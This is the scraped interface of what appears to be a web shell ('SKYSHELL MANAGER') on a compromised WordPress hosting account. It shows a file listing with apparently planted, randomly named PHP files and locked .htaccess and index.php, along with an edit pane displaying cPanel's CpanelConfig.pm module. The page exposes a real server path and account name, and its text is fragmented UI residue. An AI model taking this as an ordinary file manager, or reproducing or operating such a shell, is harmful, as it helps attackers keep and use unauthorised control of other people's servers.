📁
SKYSHELL MANAGER
PHP v8.3.36
Create
Create
Path:
root
/
home2
/
myshopns
/
public_html
/
sarfraazahmed
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.6 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.cache.1569994139
0.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.cache.1571706154
0.86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.cache.1579245272
0.86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.cache.1579595840
0.86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.cache.1580266028
0.86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.cache.1583120864
0.86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.phpupgrader.7dd77d5a
0.19 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.phpupgrader.88b48a61
1.15 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.phpupgrader.bcfaa2c1
1.14 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.phpupgrader.initial
1.14 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
400.shtml
0.13 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
401.shtml
0.16 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
403.shtml
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
404.shtml
0.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
500.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
500.shtml
0.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
6920c408
0.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
899925ef.php
27.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
a8a5d0804a04d45c08a3176c51aba255.avi
3010.66 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-ajax.php
4.95 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
default.html
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
157087.96 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
favicon.ico
0.8 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
17.33 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
options.php
5.18 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
rXyji
4.64 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.24 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.php
4.96 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tzcxfwhb.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
whsevfvs.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.72 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-ajax.php
7.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-atom.php
12.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
3.1 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cli.yml
0.03 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
1.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
2.79 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
3.6 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
6.32 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-headre.php
17.25 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
36.42 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
7.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
17.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
29.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
4.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
2.99 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: CpanelConfig.pm
package CpanelConfig; # Copyright 2024 WebPros International, LLC # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited. use strict; use warnings; use Common (); # for cpfetch use CpanelLogger; # INFO, etc. use constant { DEFAULT_PRODUCT => q[standard], DEFAULT_SOURCE => q[httpupdate.cpanel.net], DEFAULT_TIER => q[release], DEFAULT_TIERS_FILENAME => q[TIERS], DEFAULT_MYIP_URL => q[https://myip.cpanel.net/v1.0/], WP2_TIERS_FILE => q[wp2-TIERS], CPANEL_CONFIG => q[/var/cpanel/cpanel.config], CPSOURCES_CONFIG => q[/etc/cpsources.conf], CPUPDATE_CONFIG => q[/etc/cpupdate.conf], }; # Cache everything, gotta go fast my ( %TIER_CACHE, %CONF_CACHE ); # Accessors (get/set) my ( $TIER, $SOURCE, $MYIP, $PRODUCT ); sub tier { my ($tier) = @_; $TIER ||= ( $tier || x_from_config('CPANEL') || DEFAULT_TIER() ); # Deal with version numbers without 11. if ( $TIER =~ /^(?!11\.)\d{1,3}(?:\.\d+)*$/ ) { WARN("Version updated from $TIER to 11.$TIER"); $TIER = '11.' . $TIER; } if ( defined $TIER && length $TIER ) { my $cfg = read_config( CPUPDATE_CONFIG() ); $cfg->{'CPANEL'} = $TIER; write_config( CPUPDATE_CONFIG(), $cfg ); } return $TIER; } sub source { my ($source) = @_; if ( defined $source && length $source ) { my $cfg = read_config( CPSOURCES_CONFIG() ); $cfg->{'HTTPUPDATE'} = $SOURCE = $source; write_config( CPSOURCES_CONFIG(), $cfg ); } return $SOURCE ||= ( x_from_config('HTTPUPDATE') || DEFAULT_SOURCE() ); } # Allow MYIP to be set in case we want it for the future as an opt. sub myip_url { my ($url) = @_; if ( length $url ) { my $cfg = read_config( CPSOURCES_CONFIG() ); $cfg->{'MYIP'} = $MYIP = $url; write_config( CPSOURCES_CONFIG(), $cfg ); } $MYIP = x_from_config('MYIP') || DEFAULT_MYIP_URL; return $MYIP; } sub product { my ($product) = @_; if ( defined $product && length $product ) { die "Invalid product: $product" if !grep { $_ eq $product } qw{standard dnsonly wp2}; return $PRODUCT = $product; } return $PRODUCT ||= DEFAULT_PRODUCT(); } # Product type checkers sub is_wp2 { return product() eq 'wp2' ? 1 : 0; } sub is_dnsonly { return product() eq 'dnsonly' ? 1 : 0; } my %x2cfg_map = ( 'signature_validation' => CPANEL_CONFIG(), ( map { $_ => CPSOURCES_CONFIG() } qw{HTTPUPDATE MYIP} ), ( map { $_ => CPUPDATE_CONFIG() } qw{CPANEL STAGING_DIR} ), ); # Note: Literally not possible for return to be undef here no matter what sub x_from_config { my ($x) = @_; return '' if !length $x || !length $x2cfg_map{$x}; # Any non-undef entry from read_config here will always be string # and not something crazy like number or hash return read_config( $x2cfg_map{$x} )->{$x} // ''; } # Shortcut method because reviewer wanted it to stay sub signatures_enabled { return x_from_config('signature_validation') eq 'On'; } sub get_lts_version { my ($cpanel_version) = @_; length $cpanel_version || die; my ( undef, $lts_version ) = split( qr/\./, $cpanel_version ); $lts_version or FATAL("The system could not determine the LTS version for $cpanel_version"); return $lts_version; } sub get_cpanel_version { my $tier = tier(); my $version = guess_version_from_tier($tier); $version or FATAL("The system could not determine the target version from your tier: $tier"); return $version; } sub get_TIERS_filename { return WP2_TIERS_FILE if is_wp2(); return DEFAULT_TIERS_FILENAME; } sub clear_conf_cache_for { my ($cachekey) = @_; undef $SOURCE if length $cachekey && $cachekey eq 'HTTPUPDATE'; undef $TIER if length $cachekey && $cachekey eq 'CPANEL'; undef $MYIP if length $cachekey && $cachekey eq 'MYIP'; return $cachekey ? ( delete $CONF_CACHE{ $x2cfg_map{$cachekey} } ) : ( %CONF_CACHE = () ); } sub read_config { my ($file) = @_; ( length $file ) or die 'No file passed to read_config'; return $CONF_CACHE{$file} if ref $CONF_CACHE{$file} eq 'HASH'; my $config = {}; open( my $fh, "<", $file ) or return $config; while ( my $line = readline $fh ) { chomp $line; if ( $line =~ m/^\s*([^=]+?)\s*$/ ) { my $key = $1 or next; # Skip loading the key if it's undef or 0 $config->{$key} = undef; } elsif ( $line =~ m/^\s*([^=]+?)\s*=\s*(.*?)\s*$/ ) { my $key = $1 or next; # Skip loading the key if it's undef or 0 $config->{$key} = $2; } } return $CONF_CACHE{$file} = $config; } sub write_config { my ( $file, $cfg ) = @_; ( length $file ) or die 'No file passed to write_config'; my $out = ''; $out .= "$_=$cfg->{$_}\n" for keys(%$cfg); if ($out) { open( my $fh, ">", $file ) or die "Can't open $file for writing: $!"; print $fh $out; } # Update cache and return return $CONF_CACHE{$file} = $cfg; } sub guess_version_from_tier { my ($tier2guess) = @_; $tier2guess ||= tier(); if ( defined( $TIER_CACHE{$tier2guess} ) ) { return $TIER_CACHE{$tier2guess}; } # Support version numbers as tiers. if ( $tier2guess =~ /^\s*[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+\s*$/ ) { $TIER_CACHE{$tier2guess} = $tier2guess; return $tier2guess; } my $TIERS_filename = get_TIERS_filename(); # Download the file. Common::cpfetch("/cpanelsync/$TIERS_filename"); -e $TIERS_filename or FATAL("The installation process could not fetch the /cpanelsync/$TIERS_filename file from the httpupdate server."); # Parse the downloaded TIERS data for our tier. (Stolen from Cpanel::Update) open( my $fh, '<', $TIERS_filename ) or FATAL("The system could not read the downloaded $TIERS_filename file."); while ( my $tier_definition = <$fh> ) { chomp $tier_definition; next if ( $tier_definition =~ m/^\s*#/ ); # Skip commented lines. ## e.g. edge:11.29.0 (requires two dots) next if ( $tier_definition !~ m/^\s*([^:\s]+)\s*:\s*(\S+)/ ); my ( $remote_tier, $remote_version ) = ( $1, $2 ); $TIER_CACHE{$remote_tier} = $remote_version; } close $fh; # Set any disabled tiers to install-fallback if possible. foreach my $key ( keys %TIER_CACHE ) { next if $key eq 'install-fallback'; if ( $TIER_CACHE{$key} && $TIER_CACHE{'install-fallback'} && $TIER_CACHE{$key} eq 'disabled' ) { $TIER_CACHE{$key} = $TIER_CACHE{'install-fallback'}; } } # Fail if the tier is not present. if ( !$TIER_CACHE{$tier2guess} ) { FATAL("The specified tier ('$tier2guess') in the /etc/cpupdate.conf file is not a valid cPanel & WHM tier."); } # Fail if the tier is still disabled. if ( $TIER_CACHE{$tier2guess} eq 'disabled' ) { FATAL("cPanel has temporarily disabled updates on the central httpupdate servers. Please try again later."); } return $TIER_CACHE{$tier2guess}; } 1;
Save